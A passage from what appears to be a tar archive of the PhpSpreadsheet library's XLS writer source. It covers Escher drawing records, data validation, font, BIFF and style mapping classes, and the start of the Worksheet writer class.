BstoreContainer::class: // this is a container record // initialize $innerData = ''; // treat the inner data if ($BSECollection = $this->object->getBSECollection()) { foreach ($BSECollection as $BSE) { $writer = new self($BSE); $innerData .= $writer->close(); } } // write the record $recVer = 0xF; $recInstance = count($this->object->getBSECollection()); $recType = 0xF001; $length = strlen($innerData); $recVerInstance = $recVer; $recVerInstance |= $recInstance << 4; $header = pack('vvV', $recVerInstance, $recType, $length); $this->data = $header . $innerData; break; case BSE::class: // this is a semi-container record // initialize $innerData = ''; // here we treat the inner data if ($blip = $this->object->getBlip()) { $writer = new self($blip); $innerData .= $writer->close(); } // initialize $data = ''; $btWin32 = $this->object->getBlipType(); $btMacOS = $this->object->getBlipType(); $data .= pack('CC', $btWin32, $btMacOS); $rgbUid = pack('VVVV', 0, 0, 0, 0); // todo $data .= $rgbUid; $tag = 0; $size = strlen($innerData); $cRef = 1; $foDelay = 0; //todo $unused1 = 0x0; $cbName = 0x0; $unused2 = 0x0; $unused3 = 0x0; $data .= pack('vVVVCCCC', $tag, $size, $cRef, $foDelay, $unused1, $cbName, $unused2, $unused3); $data .= $innerData; // write the record $recVer = 0x2; $recInstance = $this->object->getBlipType(); $recType = 0xF007; $length = strlen($data); $recVerInstance = $recVer; $recVerInstance |= $recInstance << 4; $header = pack('vvV', $recVerInstance, $recType, $length); $this->data = $header; $this->data .= $data; break; case Blip::class: // this is an atom record // write the record switch ($this->object->getParent()->getBlipType()) { case BSE::BLIPTYPE_JPEG: // initialize $innerData = ''; $rgbUid1 = pack('VVVV', 0, 0, 0, 0); // todo $innerData .= $rgbUid1; $tag = 0xFF; // todo $innerData .= pack('C', $tag); $innerData .= $this->object->getData(); $recVer = 0x0; $recInstance = 0x46A; $recType = 0xF01D; $length = strlen($innerData); $recVerInstance = $recVer; $recVerInstance |= $recInstance << 4; $header = pack('vvV', $recVerInstance, $recType, $length); $this->data = $header; $this->data .= $innerData; break; case BSE::BLIPTYPE_PNG: // initialize $innerData = ''; $rgbUid1 = pack('VVVV', 0, 0, 0, 0); // todo $innerData .= $rgbUid1; $tag = 0xFF; // todo $innerData .= pack('C', $tag); $innerData .= $this->object->getData(); $recVer = 0x0; $recInstance = 0x6E0; $recType = 0xF01E; $length = strlen($innerData); $recVerInstance = $recVer; $recVerInstance |= $recInstance << 4; $header = pack('vvV', $recVerInstance, $recType, $length); $this->data = $header; $this->data .= $innerData; break; } break; case DgContainer::class: // this is a container record // initialize $innerData = ''; // write the dg $recVer = 0x0; $recInstance = $this->object->getDgId(); $recType = 0xF008; $length = 8; $recVerInstance = $recVer; $recVerInstance |= $recInstance << 4; $header = pack('vvV', $recVerInstance, $recType, $length); // number of shapes in this drawing (including group shape) $countShapes = count($this->object->getSpgrContainerOrThrow()->getChildren()); $innerData .= $header . pack('VV', $countShapes, $this->object->getLastSpId()); // write the spgrContainer if ($spgrContainer = $this->object->getSpgrContainer()) { $writer = new self($spgrContainer); $innerData .= $writer->close(); // get the shape offsets relative to the spgrContainer record $spOffsets = $writer->getSpOffsets(); $spTypes = $writer->getSpTypes(); // save the shape offsets relative to dgContainer foreach ($spOffsets as &$spOffset) { $spOffset += 24; // add length of dgContainer header data (8 bytes) plus dg data (16 bytes) } $this->spOffsets = $spOffsets; $this->spTypes = $spTypes; } // write the record $recVer = 0xF; $recInstance = 0x0000; $recType = 0xF002; $length = strlen($innerData); $recVerInstance = $recVer; $recVerInstance |= $recInstance << 4; $header = pack('vvV', $recVerInstance, $recType, $length); $this->data = $header . $innerData; break; case SpgrContainer::class: // this is a container record // initialize $innerData = ''; // initialize spape offsets $totalSize = 8; $spOffsets = []; $spTypes = []; // treat the inner data foreach ($this->object->getChildren() as $spContainer) { $writer = new self($spContainer); $spData = $writer->close(); $innerData .= $spData; // save the shape offsets (where new shape records begin) $totalSize += strlen($spData); $spOffsets[] = $totalSize; $spTypes = array_merge($spTypes, $writer->getSpTypes()); } // write the record $recVer = 0xF; $recInstance = 0x0000; $recType = 0xF003; $length = strlen($innerData); $recVerInstance = $recVer; $recVerInstance |= $recInstance << 4; $header = pack('vvV', $recVerInstance, $recType, $length); $this->data = $header . $innerData; $this->spOffsets = $spOffsets; $this->spTypes = $spTypes; break; case SpContainer::class: // initialize $data = ''; // build the data // write group shape record, if necessary? if ($this->object->getSpgr()) { $recVer = 0x1; $recInstance = 0x0000; $recType = 0xF009; $length = 0x00000010; $recVerInstance = $recVer; $recVerInstance |= $recInstance << 4; $header = pack('vvV', $recVerInstance, $recType, $length); $data .= $header . pack('VVVV', 0, 0, 0, 0); } $this->spTypes[] = ($this->object->getSpType()); // write the shape record $recVer = 0x2; $recInstance = $this->object->getSpType(); // shape type $recType = 0xF00A; $length = 0x00000008; $recVerInstance = $recVer; $recVerInstance |= $recInstance << 4; $header = pack('vvV', $recVerInstance, $recType, $length); $data .= $header . pack('VV', $this->object->getSpId(), $this->object->getSpgr() ? 0x0005 : 0x0A00); // the options if ($this->object->getOPTCollection()) { $optData = ''; $recVer = 0x3; $recInstance = count($this->object->getOPTCollection()); $recType = 0xF00B; foreach ($this->object->getOPTCollection() as $property => $value) { $optData .= pack('vV', $property, $value); } $length = strlen($optData); $recVerInstance = $recVer; $recVerInstance |= $recInstance << 4; $header = pack('vvV', $recVerInstance, $recType, $length); $data .= $header . $optData; } // the client anchor if ($this->object->getStartCoordinates()) { $recVer = 0x0; $recInstance = 0x0; $recType = 0xF010; // start coordinates [$column, $row] = Coordinate::indexesFromString($this->object->getStartCoordinates()); $c1 = $column - 1; $r1 = $row - 1; // start offsetX $startOffsetX = $this->object->getStartOffsetX(); // start offsetY $startOffsetY = $this->object->getStartOffsetY(); // end coordinates [$column, $row] = Coordinate::indexesFromString($this->object->getEndCoordinates()); $c2 = $column - 1; $r2 = $row - 1; // end offsetX $endOffsetX = $this->object->getEndOffsetX(); // end offsetY $endOffsetY = $this->object->getEndOffsetY(); $clientAnchorData = pack('vvvvvvvvv', $this->object->getSpFlag(), $c1, $startOffsetX, $r1, $startOffsetY, $c2, $endOffsetX, $r2, $endOffsetY); $length = strlen($clientAnchorData); $recVerInstance = $recVer; $recVerInstance |= $recInstance << 4; $header = pack('vvV', $recVerInstance, $recType, $length); $data .= $header . $clientAnchorData; } // the client data, just empty for now if (!$this->object->getSpgr()) { $clientDataData = ''; $recVer = 0x0; $recInstance = 0x0; $recType = 0xF011; $length = strlen($clientDataData); $recVerInstance = $recVer; $recVerInstance |= $recInstance << 4; $header = pack('vvV', $recVerInstance, $recType, $length); $data .= $header . $clientDataData; } // write the record $recVer = 0xF; $recInstance = 0x0000; $recType = 0xF004; $length = strlen($data); $recVerInstance = $recVer; $recVerInstance |= $recInstance << 4; $header = pack('vvV', $recVerInstance, $recType, $length); $this->data = $header . $data; break; } return $this->data; } /** * Gets the shape offsets. */ public function getSpOffsets(): array { return $this->spOffsets; } /** * Gets the shape types. */ public function getSpTypes(): array { return $this->spTypes; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Writer/Xls/CellDataValidation.php000064400000004646151676714400023500 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Writer\Xls; use PhpOffice\PhpSpreadsheet\Cell\DataValidation; class CellDataValidation { /** * @var array<string, int> */ protected static array $validationTypeMap = [ DataValidation::TYPE_NONE => 0x00, DataValidation::TYPE_WHOLE => 0x01, DataValidation::TYPE_DECIMAL => 0x02, DataValidation::TYPE_LIST => 0x03, DataValidation::TYPE_DATE => 0x04, DataValidation::TYPE_TIME => 0x05, DataValidation::TYPE_TEXTLENGTH => 0x06, DataValidation::TYPE_CUSTOM => 0x07, ]; /** * @var array<string, int> */ protected static array $errorStyleMap = [ DataValidation::STYLE_STOP => 0x00, DataValidation::STYLE_WARNING => 0x01, DataValidation::STYLE_INFORMATION => 0x02, ]; /** * @var array<string, int> */ protected static array $operatorMap = [ DataValidation::OPERATOR_BETWEEN => 0x00, DataValidation::OPERATOR_NOTBETWEEN => 0x01, DataValidation::OPERATOR_EQUAL => 0x02, DataValidation::OPERATOR_NOTEQUAL => 0x03, DataValidation::OPERATOR_GREATERTHAN => 0x04, DataValidation::OPERATOR_LESSTHAN => 0x05, DataValidation::OPERATOR_GREATERTHANOREQUAL => 0x06, DataValidation::OPERATOR_LESSTHANOREQUAL => 0x07, ]; public static function type(DataValidation $dataValidation): int { $validationType = $dataValidation->getType(); if (is_string($validationType) && array_key_exists($validationType, self::$validationTypeMap)) { return self::$validationTypeMap[$validationType]; } return self::$validationTypeMap[DataValidation::TYPE_NONE]; } public static function errorStyle(DataValidation $dataValidation): int { $errorStyle = $dataValidation->getErrorStyle(); if (is_string($errorStyle) && array_key_exists($errorStyle, self::$errorStyleMap)) { return self::$errorStyleMap[$errorStyle]; } return self::$errorStyleMap[DataValidation::STYLE_STOP]; } public static function operator(DataValidation $dataValidation): int { $operator = $dataValidation->getOperator(); if (is_string($operator) && array_key_exists($operator, self::$operatorMap)) { return self::$operatorMap[$operator]; } return self::$operatorMap[DataValidation::OPERATOR_BETWEEN]; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Writer/Xls/ErrorCode.php000064400000001072151676714400021666 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Writer\Xls; class ErrorCode { /** * @var array<string, int> */ protected static array $errorCodeMap = [ '#NULL!' => 0x00, '#DIV/0!' => 0x07, '#VALUE!' => 0x0F, '#REF!' => 0x17, '#NAME?' => 0x1D, '#NUM!' => 0x24, '#N/A' => 0x2A, ]; public static function error(string $errorCode): int { if (array_key_exists($errorCode, self::$errorCodeMap)) { return self::$errorCodeMap[$errorCode]; } return 0; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Writer/Xls/Font.php000064400000006522151676714400020715 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Writer\Xls; use PhpOffice\PhpSpreadsheet\Shared\StringHelper; class Font { /** * Color index. */ private int $colorIndex; /** * Font. */ private \PhpOffice\PhpSpreadsheet\Style\Font $font; /** * Constructor. */ public function __construct(\PhpOffice\PhpSpreadsheet\Style\Font $font) { $this->colorIndex = 0x7FFF; $this->font = $font; } /** * Set the color index. */ public function setColorIndex(int $colorIndex): void { $this->colorIndex = $colorIndex; } private static int $notImplemented = 0; /** * Get font record data. */ public function writeFont(): string { $font_outline = self::$notImplemented; $font_shadow = self::$notImplemented; $icv = $this->colorIndex; // Index to color palette if ($this->font->getSuperscript()) { $sss = 1; } elseif ($this->font->getSubscript()) { $sss = 2; } else { $sss = 0; } $bFamily = 0; // Font family $bCharSet = \PhpOffice\PhpSpreadsheet\Shared\Font::getCharsetFromFontName((string) $this->font->getName()); // Character set $record = 0x31; // Record identifier $reserved = 0x00; // Reserved $grbit = 0x00; // Font attributes if ($this->font->getItalic()) { $grbit |= 0x02; } if ($this->font->getStrikethrough()) { $grbit |= 0x08; } if ($font_outline) { $grbit |= 0x10; } if ($font_shadow) { $grbit |= 0x20; } $data = pack( 'vvvvvCCCC', // Fontsize (in twips) $this->font->getSize() * 20, $grbit, // Colour $icv, // Font weight self::mapBold($this->font->getBold()), // Superscript/Subscript $sss, self::mapUnderline((string) $this->font->getUnderline()), $bFamily, $bCharSet, $reserved ); $data .= StringHelper::UTF8toBIFF8UnicodeShort((string) $this->font->getName()); $length = strlen($data); $header = pack('vv', $record, $length); return $header . $data; } /** * Map to BIFF5-BIFF8 codes for bold. */ private static function mapBold(?bool $bold): int { if ($bold === true) { return 0x2BC; // 700 = Bold font weight } return 0x190; // 400 = Normal font weight } /** * Map of BIFF2-BIFF8 codes for underline styles. * * @var int[] */ private static array $mapUnderline = [ \PhpOffice\PhpSpreadsheet\Style\Font::UNDERLINE_NONE => 0x00, \PhpOffice\PhpSpreadsheet\Style\Font::UNDERLINE_SINGLE => 0x01, \PhpOffice\PhpSpreadsheet\Style\Font::UNDERLINE_DOUBLE => 0x02, \PhpOffice\PhpSpreadsheet\Style\Font::UNDERLINE_SINGLEACCOUNTING => 0x21, \PhpOffice\PhpSpreadsheet\Style\Font::UNDERLINE_DOUBLEACCOUNTING => 0x22, ]; /** * Map underline. */ private static function mapUnderline(string $underline): int { if (isset(self::$mapUnderline[$underline])) { return self::$mapUnderline[$underline]; } return 0x00; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Writer/Xls/BIFFwriter.php000064400000015533151676714400021754 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Writer\Xls; use PhpOffice\PhpSpreadsheet\Writer\Exception as WriterException; // Original file header of PEAR::Spreadsheet_Excel_Writer_BIFFwriter (used as the base for this class): // ----------------------------------------------------------------------------------------- // * Module written/ported by Xavier Noguer <xnoguer@rezebra.com> // * // * The majority of this is _NOT_ my code. I simply ported it from the // * PERL Spreadsheet::WriteExcel module. // * // * The author of the Spreadsheet::WriteExcel module is John McNamara // * <jmcnamara@cpan.org> // * // * I _DO_ maintain this code, and John McNamara has nothing to do with the // * porting of this code to PHP. Any questions directly related to this // * class library should be directed to me. // * // * License Information: // * // * Spreadsheet_Excel_Writer: A library for generating Excel Spreadsheets // * Copyright (c) 2002-2003 Xavier Noguer xnoguer@rezebra.com // * // * This library is free software; you can redistribute it and/or // * modify it under the terms of the GNU Lesser General Public // * License as published by the Free Software Foundation; either // * version 2.1 of the License, or (at your option) any later version. // * // * This library is distributed in the hope that it will be useful, // * but WITHOUT ANY WARRANTY; without even the implied warranty of // * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU // * Lesser General Public License for more details. // * // * You should have received a copy of the GNU Lesser General Public // * License along with this library; if not, write to the Free Software // * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA // */ class BIFFwriter { /** * The byte order of this architecture. 0 => little endian, 1 => big endian. */ private static ?int $byteOrder; /** * The string containing the data of the BIFF stream. */ public ?string $_data; /** * The size of the data in bytes. Should be the same as strlen($this->_data). */ public int $_datasize; /** * The maximum length for a BIFF record (excluding record header and length field). See addContinue(). * * @see addContinue() */ private int $limit = 8224; /** * Constructor. */ public function __construct() { $this->_data = ''; $this->_datasize = 0; } /** * Determine the byte order and store it as class data to avoid * recalculating it for each call to new(). */ public static function getByteOrder(): int { if (!isset(self::$byteOrder)) { // Check if "pack" gives the required IEEE 64bit float $teststr = pack('d', 1.2345); $number = pack('C8', 0x8D, 0x97, 0x6E, 0x12, 0x83, 0xC0, 0xF3, 0x3F); if ($number == $teststr) { $byte_order = 0; // Little Endian } elseif ($number == strrev($teststr)) { $byte_order = 1; // Big Endian } else { // Give up. I'll fix this in a later version. throw new WriterException('Required floating point format not supported on this platform.'); } self::$byteOrder = $byte_order; } return self::$byteOrder; } /** * General storage function. * * @param string $data binary data to append */ protected function append(string $data): void { if (strlen($data) - 4 > $this->limit) { $data = $this->addContinue($data); } $this->_data .= $data; $this->_datasize += strlen($data); } /** * General storage function like append, but returns string instead of modifying $this->_data. * * @param string $data binary data to write */ public function writeData(string $data): string { if (strlen($data) - 4 > $this->limit) { $data = $this->addContinue($data); } $this->_datasize += strlen($data); return $data; } /** * Writes Excel BOF record to indicate the beginning of a stream or * sub-stream in the BIFF file. * * @param int $type type of BIFF file to write: 0x0005 Workbook, * 0x0010 Worksheet */ protected function storeBof(int $type): void { $record = 0x0809; // Record identifier (BIFF5-BIFF8) $length = 0x0010; // by inspection of real files, MS Office Excel 2007 writes the following $unknown = pack('VV', 0x000100D1, 0x00000406); $build = 0x0DBB; // Excel 97 $year = 0x07CC; // Excel 97 $version = 0x0600; // BIFF8 $header = pack('vv', $record, $length); $data = pack('vvvv', $version, $type, $build, $year); $this->append($header . $data . $unknown); } /** * Writes Excel EOF record to indicate the end of a BIFF stream. */ protected function storeEof(): void { $record = 0x000A; // Record identifier $length = 0x0000; // Number of bytes to follow $header = pack('vv', $record, $length); $this->append($header); } /** * Writes Excel EOF record to indicate the end of a BIFF stream. */ public function writeEof(): string { $record = 0x000A; // Record identifier $length = 0x0000; // Number of bytes to follow $header = pack('vv', $record, $length); return $this->writeData($header); } /** * Excel limits the size of BIFF records. In Excel 5 the limit is 2084 bytes. In * Excel 97 the limit is 8228 bytes. Records that are longer than these limits * must be split up into CONTINUE blocks. * * This function takes a long BIFF record and inserts CONTINUE records as * necessary. * * @param string $data The original binary data to be written * * @return string A very convenient string of continue blocks */ private function addContinue(string $data): string { $limit = $this->limit; $record = 0x003C; // Record identifier // The first 2080/8224 bytes remain intact. However, we have to change // the length field of the record. $tmp = substr($data, 0, 2) . pack('v', $limit) . substr($data, 4, $limit); $header = pack('vv', $record, $limit); // Headers for continue records // Retrieve chunks of 2080/8224 bytes +4 for the header. $data_length = strlen($data); for ($i = $limit + 4; $i < ($data_length - $limit); $i += $limit) { $tmp .= $header; $tmp .= substr($data, $i, $limit); } // Retrieve the last chunk of data $header = pack('vv', $record, strlen($data) - $i); $tmp .= $header; $tmp .= substr($data, $i); return $tmp; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Writer/Xls/ConditionalHelper.php000064400000003072151676714400023407 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Writer\Xls; use PhpOffice\PhpSpreadsheet\Exception as PhpSpreadsheetException; use PhpOffice\PhpSpreadsheet\Style\ConditionalFormatting\Wizard; class ConditionalHelper { /** * Formula parser. */ protected Parser $parser; protected mixed $condition; protected string $cellRange; protected ?string $tokens = null; protected int $size; public function __construct(Parser $parser) { $this->parser = $parser; } public function processCondition(mixed $condition, string $cellRange): void { $this->condition = $condition; $this->cellRange = $cellRange; if (is_int($condition) || is_float($condition)) { $this->size = ($condition <= 65535 ? 3 : 0x0000); $this->tokens = pack('Cv', 0x1E, $condition); } else { try { $formula = Wizard\WizardAbstract::reverseAdjustCellRef((string) $condition, $cellRange); $this->parser->parse($formula); $this->tokens = $this->parser->toReversePolish(); $this->size = strlen($this->tokens ?? ''); } catch (PhpSpreadsheetException) { // In the event of a parser error with a formula value, we set the expression to ptgInt + 0 $this->tokens = pack('Cv', 0x1E, 0); $this->size = 3; } } } public function tokens(): ?string { return $this->tokens; } public function size(): int { return $this->size; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Writer/Xls/Style/CellBorder.php000064400000002201151676714400023112 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Writer\Xls\Style; use PhpOffice\PhpSpreadsheet\Style\Border; class CellBorder { /** * @var array<string, int> */ protected static array $styleMap = [ Border::BORDER_NONE => 0x00, Border::BORDER_THIN => 0x01, Border::BORDER_MEDIUM => 0x02, Border::BORDER_DASHED => 0x03, Border::BORDER_DOTTED => 0x04, Border::BORDER_THICK => 0x05, Border::BORDER_DOUBLE => 0x06, Border::BORDER_HAIR => 0x07, Border::BORDER_MEDIUMDASHED => 0x08, Border::BORDER_DASHDOT => 0x09, Border::BORDER_MEDIUMDASHDOT => 0x0A, Border::BORDER_DASHDOTDOT => 0x0B, Border::BORDER_MEDIUMDASHDOTDOT => 0x0C, Border::BORDER_SLANTDASHDOT => 0x0D, Border::BORDER_OMIT => 0x00, ]; public static function style(Border $border): int { $borderStyle = $border->getBorderStyle(); if (is_string($borderStyle) && array_key_exists($borderStyle, self::$styleMap)) { return self::$styleMap[$borderStyle]; } return self::$styleMap[Border::BORDER_NONE]; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Writer/Xls/Style/CellAlignment.php000064400000003215151676714400023621 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Writer\Xls\Style; use PhpOffice\PhpSpreadsheet\Style\Alignment; class CellAlignment { /** * @var array<string, int> */ private static array $horizontalMap = [ Alignment::HORIZONTAL_GENERAL => 0, Alignment::HORIZONTAL_LEFT => 1, Alignment::HORIZONTAL_RIGHT => 3, Alignment::HORIZONTAL_CENTER => 2, Alignment::HORIZONTAL_CENTER_CONTINUOUS => 6, Alignment::HORIZONTAL_JUSTIFY => 5, ]; /** * @var array<string, int> */ private static array $verticalMap = [ Alignment::VERTICAL_BOTTOM => 2, Alignment::VERTICAL_TOP => 0, Alignment::VERTICAL_CENTER => 1, Alignment::VERTICAL_JUSTIFY => 3, ]; public static function horizontal(Alignment $alignment): int { $horizontalAlignment = $alignment->getHorizontal(); if (is_string($horizontalAlignment) && array_key_exists($horizontalAlignment, self::$horizontalMap)) { return self::$horizontalMap[$horizontalAlignment]; } return self::$horizontalMap[Alignment::HORIZONTAL_GENERAL]; } public static function wrap(Alignment $alignment): int { $wrap = $alignment->getWrapText(); return ($wrap === true) ? 1 : 0; } public static function vertical(Alignment $alignment): int { $verticalAlignment = $alignment->getVertical(); if (is_string($verticalAlignment) && array_key_exists($verticalAlignment, self::$verticalMap)) { return self::$verticalMap[$verticalAlignment]; } return self::$verticalMap[Alignment::VERTICAL_BOTTOM]; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Writer/Xls/Style/CellFill.php000064400000003002151676714400022563 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Writer\Xls\Style; use PhpOffice\PhpSpreadsheet\Style\Fill; class CellFill { /** * @var array<string, int> */ protected static array $fillStyleMap = [ Fill::FILL_NONE => 0x00, Fill::FILL_SOLID => 0x01, Fill::FILL_PATTERN_MEDIUMGRAY => 0x02, Fill::FILL_PATTERN_DARKGRAY => 0x03, Fill::FILL_PATTERN_LIGHTGRAY => 0x04, Fill::FILL_PATTERN_DARKHORIZONTAL => 0x05, Fill::FILL_PATTERN_DARKVERTICAL => 0x06, Fill::FILL_PATTERN_DARKDOWN => 0x07, Fill::FILL_PATTERN_DARKUP => 0x08, Fill::FILL_PATTERN_DARKGRID => 0x09, Fill::FILL_PATTERN_DARKTRELLIS => 0x0A, Fill::FILL_PATTERN_LIGHTHORIZONTAL => 0x0B, Fill::FILL_PATTERN_LIGHTVERTICAL => 0x0C, Fill::FILL_PATTERN_LIGHTDOWN => 0x0D, Fill::FILL_PATTERN_LIGHTUP => 0x0E, Fill::FILL_PATTERN_LIGHTGRID => 0x0F, Fill::FILL_PATTERN_LIGHTTRELLIS => 0x10, Fill::FILL_PATTERN_GRAY125 => 0x11, Fill::FILL_PATTERN_GRAY0625 => 0x12, Fill::FILL_GRADIENT_LINEAR => 0x00, // does not exist in BIFF8 Fill::FILL_GRADIENT_PATH => 0x00, // does not exist in BIFF8 ]; public static function style(Fill $fill): int { $fillStyle = $fill->getFillType(); if (is_string($fillStyle) && array_key_exists($fillStyle, self::$fillStyleMap)) { return self::$fillStyleMap[$fillStyle]; } return self::$fillStyleMap[Fill::FILL_NONE]; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Writer/Xls/Style/ColorMap.php000064400000005053151676714400022621 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Writer\Xls\Style; use PhpOffice\PhpSpreadsheet\Style\Color; class ColorMap { /** * @var array<string, int> */ private static array $colorMap = [ '#000000' => 0x08, '#FFFFFF' => 0x09, '#FF0000' => 0x0A, '#00FF00' => 0x0B, '#0000FF' => 0x0C, '#FFFF00' => 0x0D, '#FF00FF' => 0x0E, '#00FFFF' => 0x0F, '#800000' => 0x10, '#008000' => 0x11, '#000080' => 0x12, '#808000' => 0x13, '#800080' => 0x14, '#008080' => 0x15, '#C0C0C0' => 0x16, '#808080' => 0x17, '#9999FF' => 0x18, '#993366' => 0x19, '#FFFFCC' => 0x1A, '#CCFFFF' => 0x1B, '#660066' => 0x1C, '#FF8080' => 0x1D, '#0066CC' => 0x1E, '#CCCCFF' => 0x1F, // '#000080' => 0x20, // '#FF00FF' => 0x21, // '#FFFF00' => 0x22, // '#00FFFF' => 0x23, // '#800080' => 0x24, // '#800000' => 0x25, // '#008080' => 0x26, // '#0000FF' => 0x27, '#00CCFF' => 0x28, // '#CCFFFF' => 0x29, '#CCFFCC' => 0x2A, '#FFFF99' => 0x2B, '#99CCFF' => 0x2C, '#FF99CC' => 0x2D, '#CC99FF' => 0x2E, '#FFCC99' => 0x2F, '#3366FF' => 0x30, '#33CCCC' => 0x31, '#99CC00' => 0x32, '#FFCC00' => 0x33, '#FF9900' => 0x34, '#FF6600' => 0x35, '#666699' => 0x36, '#969696' => 0x37, '#003366' => 0x38, '#339966' => 0x39, '#003300' => 0x3A, '#333300' => 0x3B, '#993300' => 0x3C, // '#993366' => 0x3D, '#333399' => 0x3E, '#333333' => 0x3F, ]; public static function lookup(Color $color, int $defaultIndex = 0x00): int { $colorRgb = $color->getRGB(); if (is_string($colorRgb) && array_key_exists("#{$colorRgb}", self::$colorMap)) { return self::$colorMap["#{$colorRgb}"]; } // TODO Try and map RGB value to nearest colour within the define pallette // $red = Color::getRed($colorRgb, false); // $green = Color::getGreen($colorRgb, false); // $blue = Color::getBlue($colorRgb, false); // $paletteSpace = 3; // $newColor = ($red * $paletteSpace / 256) * ($paletteSpace * $paletteSpace) + // ($green * $paletteSpace / 256) * $paletteSpace + // ($blue * $paletteSpace / 256); return $defaultIndex; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Writer/Xls/Worksheet.php000064400000341572151676714400021771 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Writer\Xls; use GdImage; use PhpOffice\PhpSpreadsheet\Cell\Cell; use PhpOffice\PhpSpreadsheet\Cell\Coordinate; use PhpOffice\PhpSpreadsheet\Cell\DataType; use PhpOffice\PhpSpreadsheet\Exception as PhpSpreadsheetException; use PhpOffice\PhpSpreadsheet\RichText\RichText; use PhpOffice\PhpSpreadsheet\RichText\Run; use PhpOffice\PhpSpreadsheet\Shared\StringHelper; use PhpOffice\PhpSpreadsheet\Shared\Xls; use PhpOffice\PhpSpreadsheet\Style\Border; use PhpOffice\PhpSpreadsheet\Style\Conditional; use PhpOffice\PhpSpreadsheet\Style\Protection; use PhpOffice\PhpSpreadsheet\Worksheet\PageSetup; use PhpOffice\PhpSpreadsheet\Worksheet\SheetView; use PhpOffice\PhpSpreadsheet\Writer\Exception as WriterException; // Original file header of PEAR::Spreadsheet_Excel_Writer_Worksheet (used as the base for this class): // ----------------------------------------------------------------------------------------- // /* // * Module written/ported by Xavier Noguer <xnoguer@rezebra.com> // * // * The majority of this is _NOT_ my code. I simply ported it from the // * PERL Spreadsheet::WriteExcel module. // * // * The author of the Spreadsheet::WriteExcel module is John McNamara // * <jmcnamara@cpan.org> // * // * I _DO_ maintain this code, and John McNamara has nothing to do with the // * porting of this code to PHP. Any questions directly related to this // * class library should be directed to me. // * // * License Information: // * // * Spreadsheet_Excel_Writer: A library for generating Excel Spreadsheets // * Copyright (c) 2002-2003 Xavier Noguer xnoguer@rezebra.com // * // * This library is free software; you can redistribute it and/or // * modify it under the terms of the GNU Lesser General Public // * License as published by the Free Software Foundation; either // * version 2.1 of the License, or (at your option) any later version. // * // * This library is distributed in the hope that it will be useful, // * but WITHOUT ANY WARRANTY; without even the implied warranty of // * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU // * Lesser General Public License for more details. // * // * You should have received a copy of the GNU Lesser General Public // * License along with this library; if not, write to the Free Software // * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA // */ class Worksheet extends BIFFwriter { private static int $always0 = 0; private static int $always1 = 1; /** * Formula parser. */ private Parser $parser; /** * Array containing format information for columns. */ private array $columnInfo; /** * The active pane for the worksheet. */ private int $activePane; /** * Whether to use outline. */ private bool $outlineOn; /** * Auto outline styles. */ private bool $outlineStyle; /** * Whether to have outline summary below. * Not currently used. */ private bool $outlineBelow; //* @phpstan-ignore-line /** * Whether to have outline summary at the right. * Not currently used. */ private bool $outlineRight; //* @phpstan-ignore-line /** * Reference to the total number of strings in the workbook. */ private int $stringTotal; /** * Reference to the number of unique strings in the workbook. */ private int $stringUnique; /** * Reference to the array containing all the unique strings in the workbook. */ private array $stringTable; /** * Color cache. */ private array $colors; /** * Index of first used row (at least 0). */ private int $firstRowIndex; /** * Index of last used row. (no used rows means -1). */ private int $lastRowIndex; /** * Index of first used column (at least 0). */ private int $firstColumnIndex; /** * Index of last used column (no used columns means -1). */ private int $lastColumnIndex; /** * Sheet object. */ public \PhpOffice\PhpSpreadsheet\Worksheet\Worksheet $phpSheet; /** * Escher object corresponding to MSODRAWING. */ private ?\PhpOffice\PhpSpreadsheet\Shared\Escher $escher = null; /** * Array of font hashes associated to FONT records index. */ public array $fontHashIndex; private bool $preCalculateFormulas; private int $printHeaders; /** * Constructor. * * @param int $str_total Total number of strings * @param int $str_unique Total number of unique strings * @param array $str_table String Table * @param array $colors Colour Table * @param Parser $parser The formula parser created for the Workbook * @param bool $preCalculateFormulas Flag indicating whether formulas should be calculated or just written * @param \PhpOffice\PhpSpreadsheet\Worksheet\Worksheet $phpSheet The worksheet to write */ public function __construct(int &$str_total, int &$str_unique, array &$str_table, array &$colors, Parser $parser, bool $preCalculateFormulas, \PhpOffice\PhpSpreadsheet\Worksheet\Worksheet $phpSheet) { // It needs to call its parent's constructor explicitly parent::__construct(); $this->preCalculateFormulas = $preCalculateFormulas; $this->stringTotal = &$str_total; $this->stringUnique = &$str_unique; $this->stringTable = &$str_table; $this->colors = &$colors; $this->parser = $parser; $this->phpSheet = $phpSheet; $this->columnInfo = []; $this->activePane = 3; $this->printHeaders = 0; $this->outlineStyle = false; $this->outlineBelow = true; $this->outlineRight = true; $this->outlineOn = true; $this->fontHashIndex = []; // calculate values for DIMENSIONS record $minR = 1; $minC = 'A'; $maxR = $this->phpSheet->getHighestRow(); $maxC = $this->phpSheet->getHighestColumn(); // Determine lowest and highest column and row $this->firstRowIndex = $minR; $this->lastRowIndex = ($maxR > 65535) ? 65535 : $maxR; $this->firstColumnIndex = Coordinate::columnIndexFromString($minC); $this->lastColumnIndex = Coordinate::columnIndexFromString($maxC); if ($this->lastColumnIndex > 255) { $this->lastColumnIndex = 255; } } /** * Add data to the beginning of the workbook (note the reverse order) * and to the end of the workbook. * * @see Workbook::storeWorkbook */ public function close(): void { $phpSheet = 